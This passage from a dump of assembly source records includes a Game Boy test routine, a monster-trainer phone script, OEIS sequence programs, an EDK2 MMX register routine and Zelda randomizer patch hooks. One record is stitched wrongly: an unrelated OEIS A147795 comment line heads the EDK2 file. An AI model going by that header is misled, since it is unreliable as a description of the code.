a\n\txor a, a\n\tldff(69), a\n\tldff(69), a\n\tld hl, 9800\n\tld c, 80\n\tld b, 0a\nlprint_set_bgmap_from_hiram:\n\tldff a, (c)\n\trrca\n\trrca\n\trrca\n\trrca\n\tand a, 0f\n\tld(hl++), a\n\tldff a, (c)\n\tand a, 0f\n\tld(hl++), a\n\tinc c\n\tdec b\n\tjrnz lprint_set_bgmap_from_hiram\n\txor a, a\n\tldff(42), a\n\tldff(43), a\n\tld a, 91\n\tldff(40), a\nlprint_limbo:\n\tjr lprint_limbo\n\n.data@7a00\n\t00 00 7f 7f 41 41 41 41\n\t41 41 41 41 41 41 7f 7f\n\t00 00 08 08 08 08 08 08\n\t08 08 08 08 08 08 08 08\n\t00 00 7f 7f 01 01 01 01\n\t7f 7f 40 40 40 40 7f 7f\n\t00 00 7f 7f 01 01 01 01\n\t3f 3f 01 01 01 01 7f 7f\n\t00 00 41 41 41 41 41 41\n\t7f 7f 01 01 01 01 01 01\n\t00 00 7f 7f 40 40 40 40\n\t7e 7e 01 01 01 01 7e 7e\n\t00 00 7f 7f 40 40 40 40\n\t7f 7f 41 41 41 41 7f 7f\n\t00 00 7f 7f 01 01 02 02\n\t04 04 08 08 10 10 10 10\n\t00 00 3e 3e 41 41 41 41\n\t3e 3e 41 41 41 41 3e 3e\n\t00 00 7f 7f 41 41 41 41\n\t7f 7f 01 01 01 01 7f 7f\n\t00 00 08 08 22 22 41 41\n\t7f 7f 41 41 41 41 41 41\n\t00 00 7e 7e 41 41 41 41\n\t7e 7e 41 41 41 41 7e 7e\n\t00 00 3e 3e 41 41 40 40\n\t40 40 40 40 41 41 3e 3e\n\t00 00 7e 7e 41 41 41 41\n\t41 41 41 41 41 41 7e 7e\n\t00 00 7f 7f 40 40 40 40\n\t7f 7f 40 40 40 40 7f 7f\n\t00 00 7f 7f 40 40 40 40\n\t7f 7f 40 40 40 40 40 40\n\n","avg_line_length":14.7210884354,"max_line_length":33,"alphanum_fraction":0.6118299445} {"size":1112,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"GavenPhoneCalleeScript:\n\tgettrainername STRING_BUFFER_3, COOLTRAINERM, GAVEN3\n\tcheckflag ENGINE_GAVEN\n\tiftrue .WantsBattle\n\tfarscall PhoneScript_AnswerPhone_Male\n\tcheckflag ENGINE_GAVEN_THURSDAY_MORNING\n\tiftrue .NotThursday\n\treadvar VAR_WEEKDAY\n\tifnotequal THURSDAY, .NotThursday\n\tchecktime MORN\n\tiftrue GavenThursdayMorning\n\n.NotThursday:\n\tfarsjump UnknownScript_0xa0910\n\n.WantsBattle:\n\tgetlandmarkname STRING_BUFFER_5, ROUTE_101\n\tfarsjump UnknownScript_0xa0a37\n\nGavenPhoneCallerScript:\n\tgettrainername STRING_BUFFER_3, COOLTRAINERM, GAVEN3\n\tfarscall PhoneScript_GreetPhone_Male\n\tcheckflag ENGINE_GAVEN\n\tiftrue .WaitingForBattle\n\tcheckflag ENGINE_GAVEN_THURSDAY_MORNING\n\tiftrue .WaitingForBattle\n\tfarscall PhoneScript_Random2\n\tifequal 0, GavenWantsRematch\n\n.WaitingForBattle:\n\tfarscall PhoneScript_Random3\n\tifequal 0, GavenFoundRare\n\tfarsjump Phone_GenericCall_Male\n\nGavenThursdayMorning:\n\tsetflag ENGINE_GAVEN_THURSDAY_MORNING\n\nGavenWantsRematch:\n\tgetlandmarkname STRING_BUFFER_5, ROUTE_101\n\tsetflag ENGINE_GAVEN\n\tfarsjump PhoneScript_WantsToBattle_Male\n\nGavenFoundRare:\n\tfarsjump Phone_CheckIfUnseenRare_Male\n","avg_line_length":24.7111111111,"max_line_length":53,"alphanum_fraction":0.8776978417} {"size":490,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A266258: Number of OFF (white) cells in the n-th iteration of the \"Rule 11\" elementary cellular automaton starting with a single ON (black) cell.\n; 0,2,3,2,7,2,11,2,15,2,19,2,23,2,27,2,31,2,35,2,39,2,43,2,47,2,51,2,55,2,59,2,63,2,67,2,71,2,75,2,79,2,83,2,87,2,91,2,95,2,99,2,103,2,107,2,111,2,115,2,119,2,123,2,127,2,131,2,135,2,139,2,143,2,147,2,151,2,155,2,159,2,163,2,167,2,171,2,175,2,179,2,183,2,187,2,191,2,195,2\n\nmov $1,$0\nadd $0,1\nmod $0,2\npow $1,$0\nsub $0,$1\ntrn $1,$0\nmov $0,$1\n","avg_line_length":44.5454545455,"max_line_length":272,"alphanum_fraction":0.6510204082} {"size":524,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A147795: If n=A000695(k_n)+2*A000695(l_n), then a(n) is the number of nonnegative integers m\n; This program and the accompanying materials \n; are licensed and made available under the terms and conditions of the BSD License \n; which accompanies this distribution. The full text of the license may be found at \n; http:\/\/opensource.org\/licenses\/bsd-license.php \n; \n; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS, \n; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. \n;\n; Module Name:\n;\n; WriteMm6.Asm\n;\n; Abstract:\n;\n; AsmWriteMm6 function\n;\n; Notes:\n;\n;------------------------------------------------------------------------------\n\n .code\n\n;------------------------------------------------------------------------------\n; VOID\n; EFIAPI\n; AsmWriteMm6 (\n; IN UINT64 Value\n; );\n;------------------------------------------------------------------------------\nAsmWriteMm6 PROC\n ;\n ; 64-bit MASM doesn't support MMX instructions, so use opcode here\n ;\n DB 48h, 0fh, 6eh, 0f1h\n ret\nAsmWriteMm6 ENDP\n\n END\n","avg_line_length":31.4,"max_line_length":92,"alphanum_fraction":0.4562101911} {"size":204,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A146029: Numbers that can be written from base 2 to base 17 using only the digits 0 to 8 (conjectured to be complete).\n; 0,1,2,3,4,5,6,7,8,17,18\n\nmov $1,$0\nlpb $0,1\n add $1,8\n mov $0,5\n add $0,3\nlpe\n","avg_line_length":20.4,"max_line_length":120,"alphanum_fraction":0.6519607843} {"size":122582,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":";================================================================================\n; Init Hook\n;--------------------------------------------------------------------------------\norg $00802F ; <- 2F - Bank00.asm : 45\nJSL.l Init_Primary\nNOP\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Frame Hook\n;--------------------------------------------------------------------------------\norg $008056 ; <- 56 - Bank00.asm : 77\nJSL.l FrameHookAction\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; NMI Hook\n;--------------------------------------------------------------------------------\norg $0080CC ; <- CC - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB)\nJML.l NMIHookAction\norg $0080D0 ; <- D0 - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB)\nNMIHookReturn:\n;--------------------------------------------------------------------------------\n;org $00821B ; <- 21B - Bank00.asm : 329 (LDA $13 : STA $2100)\n;JML.l PostNMIHookAction : NOP\n;PostNMIHookReturn:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Anti-ZSNES Hook\n;--------------------------------------------------------------------------------\n;org $008023 ;<- 23 - Bank00.asm : 36 (LDA.w #$01FF : TCS)\n;JML.l CheckZSNES\n;ReturnCheckZSNES:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Dungeon Entrance Hook (works, but not needed at the moment)\n;--------------------------------------------------------------------------------\n;org $02D8C7 ; <- 158C7 - Bank02.asm : 10981 (STA $7EC172)\n;JSL.l OnDungeonEntrance\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; D-Pad Invert\n;--------------------------------------------------------------------------------\norg $0083D9 ; <- 3D9 - Bank00.asm : 611 (LDA $4219 : STA $01)\nJSL.l alttp_mw_check_softreset : NOP\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Dungeon Exit Hook\n;--------------------------------------------------------------------------------\norg $02E21B ; <- 1621B - Bank02.asm : 11211 (STA $040C)\nJSL.l OnDungeonExit : NOP #2\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Infinite Bombs \/ Arrows \/ Magic\n;--------------------------------------------------------------------------------\n; org $08A17A ; <- 4217A - ancilla_arrow.asm : 42 (AND.b #$04 : BEQ .dont_spawn_sparkle)\n; CMP.b #$03 : db #$90 ; !BLT\n; org $08A40E ; <- 4240E - ancilla_arrow.asm : 331 (AND.b #$04 : BNE .use_silver_palette)\n; CMP.b #$03 : db #$B0 ; !BGE\n; ;--------------------------------------------------------------------------------\n; org $098127 ; <- 48127 - ancilla_init.asm : 202 (LDA $7EF343 : BNE .player_has_bombs)\n; JSL.l LoadBombCount\n; org $098133 ; <- 48133 - ancilla_init.asm : 211 (STA $7EF343 : BNE .bombs_left_over)\n; JSL.l StoreBombCount\n; ;--------------------------------------------------------------------------------\n; org $0DE4BF ; <- 6E4BF - equipment.asm : 1249 (LDA $7EF343 : AND.w #$00FF : BEQ .gotNoBombs)\n; JSL.l LoadBombCount16\n; ;--------------------------------------------------------------------------------\n; org $0DDEB3 ; <- 6DEB3 - equipment.asm : 328 (LDA $7EF33F, X)\n; JSL.l IsItemAvailable\n; ;--------------------------------------------------------------------------------\n; org $0DFC5B ; <- 6FC5B - headsup_display.asm : 839 (LDA .mp_tilemap+0, X : STA $7EC746)\n; JSL.l DrawMagicMeter : JMP.w + : NOP #21 : +\n; ;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Inverted Mode\n; ;--------------------------------------------------------------------------------\n; org $028413 ; <- 10413 - Bank02.asm : 853 (LDA $7EF357 : BNE .notBunny)\n; NOP #6\n; JSL.l DecideIfBunny : db #$D0 ; BNE\n; ;--------------------------------------------------------------------------------\n; org $07AA44 ; <- 3AA44 - Bank07.asm : 853 (LDA $7EF357 : BNE .playerHasMoonPearl)\n; NOP #6\n; JSL.l DecideIfBunnyByScreenIndex : db #$D0 ; BNE\n; ;--------------------------------------------------------------------------------\n; org $02D9B9 ; <- 159B9 - Bank02.asm : 11089 (LDA $7EF3C8)\n; JSL AllowStartFromSingleEntranceCave\n; ;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Hash Key Display\n; ;--------------------------------------------------------------------------------\n; org $0CCDB5 ; <- 64DB5 - Bank0C.asm : 1776 (LDA.b #$06 : STA $14)\n; JSL.l PrepHashAlphabet\n; ;--------------------------------------------------------------------------------\n\n; ================================================================================\n; Agahnim 0bb\n; --------------------------------------------------------------------------------\n;org $1ED6EF ; <- F56EF - sprite_agahnim.asm : 636 (JSL GetRandomInt : AND.b #$01 : BNE BRANCH_GAMMA)\n;NOP #18\n; --------------------------------------------------------------------------------\n\n;================================================================================\n; Zelda Sprite Fixes\n;--------------------------------------------------------------------------------\norg $05EBCF ; <- 2EBCF - sprite_zelda.asm : 23 (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword)\nJSL.l SpawnZelda : NOP #2\n;NOP #8\n;--------------------------------------------------------------------------------\n;org $06C06F ; <- 3406F - Bank06.asm : 1794 (JSL Sprite_ZeldaLong)\n;JSL.l SpawnZelda\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Alternate Goal\n; ;--------------------------------------------------------------------------------\n;Invincible Ganon\n;org $06F2C8 ; <- 372C8 - Bank06.asm : 5776 (LDA $44 : CMP.b #$80 : BEQ .no_collision)\n;JSL.l GoalItemGanonCheck\n; ;--------------------------------------------------------------------------------\n; ;Hammerable Ganon\n; org $06F2EA ; <- 372EA - Bank06.asm : 5791 (LDA $0E20, X : CMP.b #$D6 : BCS .no_collision)\n; JSL.l CheckGanonHammerDamage : NOP\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Stat Hooks\n;--------------------------------------------------------------------------------\norg $079202 ; 39202 <- Bank07.asm : 2859 (JSL AddDashTremor)\nJSL.l StatBonkCounter\n;--------------------------------------------------------------------------------\n; org $02B797 ; <- 13797 - Bank02.asm : 8712 (LDA.b #$19 : STA $10)\n; JSL.l StatsFinalPrep\n; ;--------------------------------------------------------------------------------\n; org $07A95B ; <- 3A95B - Bank07.asm : 6565 (JSL Dungeon_SaveRoomData)\n; JSL.l IncrementUWMirror\n; ; ;--------------------------------------------------------------------------------\n; ; org $0288D1 ; <- 108D1 - Bank02.asm : 1690 (STZ $0646)\n; ; JSL.l IndoorSubtileTransitionCounter\n; ; NOP #2\n; ; ;--------------------------------------------------------------------------------\n; org $07B574 ; <- 3B574 - Bank07.asm : 8519 (LDA.b #$01 : STA $02E9)\n; JSL.l IncrementChestCounter\n; NOP\n;--------------------------------------------------------------------------------\n;org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F)\n;JSL.l IncrementSmallKeys\n;--------------------------------------------------------------------------------\n;org $06D18D ; <- 3518D - sprite_absorbable.asm : 274 (LDA $7EF36F : INC A : STA $7EF36F)\n\norg $06D192 ; <- 35192 - sprite_absorbable.asm : 274 (STA $7EF36F)\nJSL.l IncrementSmallKeysNoPrimary\n\n; ;--------------------------------------------------------------------------------\n; org $00F945 ; <- 7945 - Bank00.asm : 8557 (JSL SavePalaceDeaths)\n; JSL.l StatTransitionCounter ; we're not bothering to restore the instruction we wrote over\n; ;--------------------------------------------------------------------------------\norg $09F443 ; <- 4F443 - module_death.asm : 257 (STA $7EF35C, X)\nJSL.l IncrementFairyRevivalCounter\n; ;--------------------------------------------------------------------------------\n; org $02B6F3 ; <- 136F3 - Bank02.asm : 8600 (LDA.b #$0F : STA $10)\n; JSL.l DungeonExitTransition\n; ;--------------------------------------------------------------------------------\n; org $1BBD6A ; <- DBD6A - Bank1B.asm : 301 (LDA.b #$0F : STA $10)\n; JSL.l DungeonExitTransition\n; ;--------------------------------------------------------------------------------\n; org $01C3A7 ; <- C3A7 - Bank01.asm : 9733 (JSL Dungeon_SaveRoomQuadrantData)\n; JSL.l DungeonStairsTransition\n; ;--------------------------------------------------------------------------------\n; org $0BFFAC ; <- 5FFAC - Bank0B.asm : 170 (JSL Dungeon_SaveRoomQuadrantData)\n; JSL.l DungeonStairsTransition\n; ;--------------------------------------------------------------------------------\n; org $029A17 ; <- 11A17 - Bank02.asm : 4770 (JSL EnableForceBlank)\n; JSL.l DungeonHoleEntranceTransition\n; ;--------------------------------------------------------------------------------\n; org $0794EB ; <- 394EB - Bank07.asm : 3325 (LDA $01C31F, X : STA $0476)\n; JSL.l DungeonHoleWarpTransition\n; ;--------------------------------------------------------------------------------\n; org $0CC999 ; <- 64999 - Bank0C.asm : 1087 (LDA.b #$0F : STA $13)\n; NOP #4\n;--------------------------------------------------------------------------------\n; org $01ED75 ; <- ED75 - Bank01.asm : 13963 (JSL Dungeon_SaveRoomQuadrantData)\n; JSL.l IncrementBigChestCounter\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Dialog Override\n;--------------------------------------------------------------------------------\n;org $0EEE8D ; 0x76E8D <- vwf.asm : 152 (LDA $7F71C0, X : STA $04)\n;JSL.l DialogOverride\n;NOP #7\n;--------------------------------------------------------------------------------\norg $0EF1FF ; 0x771FF <- vwf.asm : 1212 (LDA $7F1200, X : AND.w #$007F : SUB.w #$0066 : BPL .commandByte)\nJSL.l DialogOverride\norg $0EF2DC ; every other LDA $7F1200, X in vwf.asm\nJSL.l DialogOverride\norg $0EF315\nJSL.l DialogOverride\norg $0EF332\nJSL.l DialogOverride\norg $0EF375\nJSL.l DialogOverride\norg $0EF394\nJSL.l DialogOverride\norg $0EF511\nJSL.l DialogOverride\norg $0EF858\nJSL.l DialogOverride\norg $0EFA26\nJSL.l DialogOverride\norg $0EFA4C\nJSL.l DialogOverride\norg $0EFAB4\nJSL.l DialogOverride\norg $0EFAC8\nJSL.l DialogOverride\norg $0EFAE1\nJSL.l DialogOverride\norg $0EFB11\nJSL.l DialogOverride\n; ;--------------------------------------------------------------------------------\norg $0EFBC6 ; <- 77BC6 - vwf.asm : 2717 (LDA.b #$1C : STA $1CE9)\nJSL.l ResetDialogPointer\nRTS\n; ;--------------------------------------------------------------------------------\n; org $0EED0B ; <- PC 0x76D0B - Bank0E.asm : 3276 (LDA $E924, Y : STA $1008, X)\n; JSL.l EndingSequenceTableOverride\n; NOP #2\n; ;--------------------------------------------------------------------------------\n; org $0EED15 ; <- PC 0x76D15 - Bank0E.asm : 3282 (LDA $E924, Y : STA $1008, X)\n; JSL.l EndingSequenceTableOverride\n; NOP #2\n; ;--------------------------------------------------------------------------------\n; org $0EED2A ; <- PC 0x76D2A - Bank0E.asm : 3295 (LDA $E924, Y : AND.w #$00FF)\n; JSL.l EndingSequenceTableLookupOverride\n; NOP #2\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Master Sword Chest Fix\n;--------------------------------------------------------------------------------\n;org $0987d7 ; <- ancilla_init.asm : 1071\n;NOP #4\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; File Select Init Event\n;--------------------------------------------------------------------------------\norg $0CCC89 ; <- 0x64C89 Bank0C.asm : 1598 (JSL EnableForceBlank)\nJSL.l OnInitFileSelect\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Hyrule Castle Rain Sequence Guards (allowing Gloves in Link's house)\n;--------------------------------------------------------------------------------\norg $09C8B7 ; <- 4C8B7\ndw #CastleRainSpriteData\norg $09F7BD ; <- 4F7BD\nCastleRainSpriteData:\ndb $06, $1F, $40, $12, $01, $3F, $14, $01, $3F, $13, $1F, $42, $1A, $1F, $4B, $1A, $20, $4B, $25, $2D, $3F, $29, $20, $3F, $2A, $3C, $3F, $FF\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Sprite_DrawMultiple\n;--------------------------------------------------------------------------------\norg $05DFB1 ; <- 2DFB1 - Bank05.asm : 2499\nJSL.l SkipDrawEOR\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Kiki Big Bomb Fix\n;--------------------------------------------------------------------------------\norg $1EE4AF ; <- f64af sprite_kiki.asm : 285 (LDA.b #$0A : STA $7EF3CC)\nJSL.l AssignKiki\nNOP #2\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Hard & Masochist Mode Fixes\n; ;--------------------------------------------------------------------------------\n; org $07D22B ; <- 3D22B - Bank05.asm : 12752 (LDA $D055, Y : STA $0373)\n; JSL.l CalculateSpikeFloorDamage : NOP #2\n; ;--------------------------------------------------------------------------------\n; org $08DCC3 ; <- 45CC3 - ancilla_cane_spark.asm : 272 (LDA $7EF36E)\n; JSL.l CalculateByrnaUsage\n; ;--------------------------------------------------------------------------------\n; org $07AE17 ; <- 3AE17 - Bank07.asm : 7285 (LDA $7EF36E)\n; JSL.l CalculateCapeUsage\n; ;--------------------------------------------------------------------------------\n; org $07AE98 ; <- 3AE98 - Bank07.asm : 7380 (LDA $7EF36E)\n; JSL.l CalculateCapeUsage\n; ;--------------------------------------------------------------------------------\n; org $08DCA7 ; <- 45CA7 - ancilla_cane_spark.asm : 256 (LDA.b #$01 : STA $037B)\n; JSL.l ActivateInvulnerabilityOrDont : NOP\n; ;--------------------------------------------------------------------------------\n; org $06EF1B ; <- 36F1B - Bank06.asm : 5100 (TYA : STA $7FFA3C, X : BEQ BRANCH_DELTA)\n; db #$27\n; ;--------------------------------------------------------------------------------\n; org $06EF43 ; <- 36F43 - Bank06.asm : 5117 (LDA.b #$40 : STA $0DF0, X)\n; JSL CheckStunItemAction : NOP\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Misc Stats\n;--------------------------------------------------------------------------------\norg $029E2E ; <- 11E2E - module_ganon_emerges.asm : 59 (JSL Dungeon_SaveRoomData.justKeys)\nJSL.l OnAga2Defeated\n;--------------------------------------------------------------------------------\norg $0DDBDE ; <- 6DBDE - headsup_display.asm : 105 (DEC A : BPL .subtractRupees)\nJSL.l IncrementSpentRupees\nNOP #6\n;org $0DDBF7 ; <- 6DBF7 - headsup_display.asm : 121 (STA $7EF362)\n;RefillLogic_subtractRupees:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Remove Item Menu Text\n;--------------------------------------------------------------------------------\norg $0DEBB0 ; <- 6EBB0 - equipment.asm : 1810 (LDA $0202)\nJMP DrawItem_finished\norg $0DECE6 ; <- 6ECE6 - equipment.asm : 1934 (SEP #$30)\nDrawItem_finished:\norg $0DEB48 ; <- 6EB48 - equipment.asm : 1784 (LDA $0000)\nLDA $0000, Y : STA $11F2\nLDA $0002, Y : STA $11F4\nLDA $0040, Y : STA $1232\nLDA $0042, Y : STA $1234\n;---------------------------\norg $0DE24B ; <- 6E24B - equipment.asm : 951 (LDA $0000)\nLDA $0000, Y : STA $11F2\nLDA $0002, Y : STA $11F4\nLDA $0040, Y : STA $1232\nLDA $0042, Y : STA $1234\n;--------------------------------------------------------------------------------\norg $0DE2DC ; <- 6E2DC - equipment.asm : 989 (LDA $F449, X : STA $122C, Y)\nJMP UpdateBottleMenu_return\norg $0DE2F1 ; <- 6E2F1 - equipment.asm : 1000 (SEP #$30)\nUpdateBottleMenu_return:\n;--------------------------------------------------------------------------------\n;org $0DDDC3 ; <- 6DDC3 - equipment.asm : 131 (JSR DrawAbilityText)\n;NOP #3\norg $0DE6F4 ; <- 6E6F4 - equipment.asm : 1474 (BCC .lacksAbility)\ndb #$80 ; BRA\norg $0DE81A ; <- 6E81A - equipment.asm : 1597 (STA $00)\nRTS\norg $0DE7B9 ; <- 6E7B9 - equipment.asm : 1548 (LDA.w #$16D0 : STA $00)\nJSL.l DrawGlovesInMenuLocation : NOP\norg $0DE7CF ; <- 6E7CF - equipment.asm : 1554 (LDA.w #$16C8 : STA $00)\nJSL.l DrawBootsInMenuLocation : NOP\norg $0DE7E5 ; <- 6E7E5 - equipment.asm : 1560 (LDA.w #$16D8 : STA $00)\nJSL.l DrawFlippersInMenuLocation : NOP\norg $0DECEB ; <- 6ECEB - equipment.asm : 1946 (LDA.w #$16E0 : STA $00)\nJSL.l DrawMoonPearlInMenuLocation : NOP\n;--------------------------------------------------------------------------------\n;org $0DE9D8 ; <- 6E9D8 - equipment.asm : 1635 (LDA $E860, X : STA $12EA, X)\n;BRA DrawProgressIcons_initPendantDiagram_notext\n;org $0DEA0E ; <- 6EA0E - equipment.asm : 1645 (INX #2)\n;DrawProgressIcons_initPendantDiagram_notext:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Map Always Zoomed\n;--------------------------------------------------------------------------------\n;org $0ABA49 ; <- 53A49 - Bank0A.asm : 447 (LDA.b #$80 : STA $211A)\n;JSL.l PrepMapZoom : RTL\n;org $0ABB32 ; <- 53B32 - Bank0A.asm : 626 (LDA $F6 : AND.b #$70)\n;JSL.l ForceMapZoom\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Zelda S&Q Mirror Fix\n;--------------------------------------------------------------------------------\norg $02D9A4 ; <- 159A4 - Bank02.asm : 11077 (dw $0000, $0002, $0002, $0032, $0004, $0006, $0030)\ndw $0000, $0002, $0004, $0032, $0004, $0006, $0030\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Accessability\n; ;--------------------------------------------------------------------------------\n; ;org $0AC574 ; <- 54574 - Bank0A.asm : 1797 (LDA $0D : STA $0802, X)\n; ;JSL FlipGreenPendant\n; ;NOP #6\n; ;--------------------------------------------------------------------------------\n; org $08AAE1 ; <- 42AE1 - ancilla_ether_spell.asm : 22 (LDA $031D : CMP.b #$0B)\n; JSL.l SetEtherFlicker : NOP\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Ice Floor Toggle\n;--------------------------------------------------------------------------------\norg $07D234 ; <- 3D234 - Bank07.asm : 12758 (LDA $0348 : AND.b #$11 : BEQ .notWalkingOnIce)\nJSL.l LoadModifiedIceFloorValue_a11 : NOP\n;--------------------------------------------------------------------------------\norg $07D26E ; <- 3D26E - Bank07.asm : 12786 (LDA $0348 : AND.b #$01 : BNE BRANCH_RESH)\nJSL.l LoadModifiedIceFloorValue_a01 : NOP\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Sword Upgrade Randomization\n;--------------------------------------------------------------------------------\n;org $06C9BC ; <- 349BC - sprite_ponds.asm : 1066\n;org $06C9C0 ; <- 349C0 - sprite_ponds.asm : 1068\n;org $06C926 ; <- 34926 - sprite_ponds.asm : 945\n;JML.l GetFairySword\n;NOP #12\norg $06C936 ; <- 34936 - sprite_ponds.asm : 952\nPyramidFairy_BRANCH_IOTA:\norg $06C948 ; <- 34948 - sprite_ponds.asm : 961\nPyramidFairy_BRANCH_GAMMA:\n;--------------------------------------------------------------------------------\n;org $0EF7BD ; <- 777BD - sprite_ponds.asm : 1890 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles)\n;JSL.l ReadInventoryPond\n;org $0EF7E4 ; <- 777E4 - sprite_ponds.asm : 1922 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles)\n;JSL.l ReadInventoryPond\n;--------------------------------------------------------------------------------\norg $1EE16E ; <- F616E - sprite_bomb_shop_entity.asm : 73\nNOP #8 ; fix bomb shop dialog for dwarfless big bomb\norg $068A14 ; <- 30A14 - sprite_prep.asm : 716\nNOP #8 ; fix bomb shop spawn for dwarfless big bomb\n;--------------------------------------------------------------------------------\norg $06B489 ; <- 33489 - sprite_smithy_bros.asm : 473 (LDA $7EF359 : CMP.b #$03 : BCS .tempered_sword_or_better)\nJML.l GetSmithSword\nNOP #4\nSmithy_DoesntHaveSword:\norg $06B49D ; <- 3349D - sprite_smithy_bros.asm : 485 (.tempered_sword_or_better)\nSmithy_AlreadyGotSword:\n;--------------------------------------------------------------------------------\norg $06ED55 ; <- 36D55 - Bank06.asm : 4817\nJSL.l LoadSwordForDamage ; moth gold sword fix\n;--------------------------------------------------------------------------------\norg $08C5F7 ; <- 445F7 - ancilla_receive_item.asm : 400 (LDA.b #$09 : STA $012D)\nNOP #5 ; remove spooky telepathy sound\n;--------------------------------------------------------------------------------\n;org $1EE094 ; PC 0xF6094 - sprite_hylian_plaque.asm : 79 (JSL Sprite_ShowMessageUnconditional)\n;JSL.l DialogPedestal\n;--------------------------------------------------------------------------------\norg $08C431 ; <- 44431 - ancilla_receive_item.asm : 125 (LDA $0C5E, X : CMP.b #$01 : BNE .notMasterSword2)\nJSL.l MSMusicReset : NOP\n;LDA $8A : CMP.b #$80 : NOP\n; $22 = $0000 - $00FF - MS Pedestal\n; $22 = $0100 - $00FF - Hobo\n;--------------------------------------------------------------------------------\n\n\n;================================================================================\n; New Items\n;--------------------------------------------------------------------------------\norg $07B57B ; <- 3B57B - Bank07.asm : 8523 (BMI .cantOpen)\nNOP #2\n;--------------------------------------------------------------------------------\norg $00D531 ; 5531 - Bank00.asm:3451 (LDY.b #$5D)\nJML.l GetAnimatedSpriteGfxFile\n\norg $00D547 ; 5547 - Bank00.asm:3467 (JSR Decomp_spr_high)\nGetAnimatedSpriteGfxFile_return:\n\norg $00D557 ; 5557 - Bank00.asm:3486 (LDA $00 : ADC $D469, X)\nJSL.l GetAnimatedSpriteBufferPointer\nNOP\n\norg $0799F7 ; 399F7 - Bank07.asm:4107 (JSL AddReceivedItem)\nJSL.l AddReceivedItemExpanded\n\norg $098611 ; 48611 - ancilla_init.asm:720 (LDA .item_target_addr+0, X)\nLDA.w AddReceivedItemExpanded_item_target_addr+0, X\norg $098616 ; 48616 - ancilla_init.asm:721 (LDA .item_target_addr+1, X)\nLDA.w AddReceivedItemExpanded_item_target_addr+1, X\norg $09861F ; 4861F - ancilla_init.asm:724 (LDA .item_values, Y)\nLDA.w AddReceivedItemExpanded_item_values, Y\n\norg $098627 ; 48627 - ancilla_init.asm:731 (LDA .item_target_addr+0, X)\nLDA.w AddReceivedItemExpanded_item_target_addr+0, X\norg $09862C ; 4862C - ancilla_init.asm:722 (LDA .item_target_addr+1, X)\nLDA.w AddReceivedItemExpanded_item_target_addr+1, X\norg $098635 ; 48635 - ancilla_init.asm:727 (LDA .item_values, Y)\nLDA.w AddReceivedItemExpanded_item_values, Y\n\norg $0986AA ; 486AA - ancilla_init.asm:848 (LDA .item_masks, X)\nLDA.w AddReceivedItemExpanded_item_masks, X\n\norg $098769 ; 48769 - ancilla_init.asm:1005 (LDA .item_graphics_indices, Y)\nLDA.w AddReceivedItemExpanded_item_graphics_indices, Y\n\norg $09884D ; 4884D - ancilla_init.asm:1137 (LDA $836C, Y)\nLDA.w AddReceivedItemExpanded_y_offsets, Y\norg $09885B ; 4885B - ancilla_init.asm:1139 (LDA .x_offsets, X) - I think the disassembly is wrong here, should have been LDA .x_offsets, Y\nLDA.w AddReceivedItemExpanded_x_offsets, Y\n\norg $0988B7 ; 488B7 - ancilla_init.asm:1199 (LDA .wide_item_flag, Y)\nLDA.w AddReceivedItemExpanded_wide_item_flag, Y\n\norg $0988EF ; 488EF - ancilla_init.asm:1248 (LDA $836C, Y)\nLDA.w AddReceivedItemExpanded_y_offsets, Y\norg $098908 ; 48908 - ancilla_init.asm:1258 (LDA .x_offsets, Y)\nLDA.w AddReceivedItemExpanded_x_offsets, Y\n\norg $08C6C8 ; 446C8 - ancilla_receive_item.asm:538 (LDA AddReceiveItem.properties, X)\nLDA.l AddReceivedItemExpanded_properties, X\norg $00C6F9 ; 446F9 - ancilla_receive_item.asm:570 (LDA AddReceiveItem.properties, X)\nLDA.l AddReceivedItemExpanded_properties, X\n\norg $08C6DE ; 446DE - ancilla_receive_item.asm:550 (LDA .wide_item_flag, X)\nLDA.l AddReceivedItemExpanded_wide_item_flag, X\n\norg $0985ED ; 485ED - ancilla_init.asm:693 (LDA $02E9 : CMP.b #$01)\nJSL.l AddReceivedItemExpandedGetItem\nNOP\n\norg $07B57D ; 3B57D - Bank07.asm:8527 (LDA Link_ReceiveItemAlternates, Y : STA $03)\nJSL.l Link_ReceiveItemAlternatesExpanded_loadAlternate\nNOP\n;--------------------------------------------------------------------------------\norg $09892E ; 4892E - 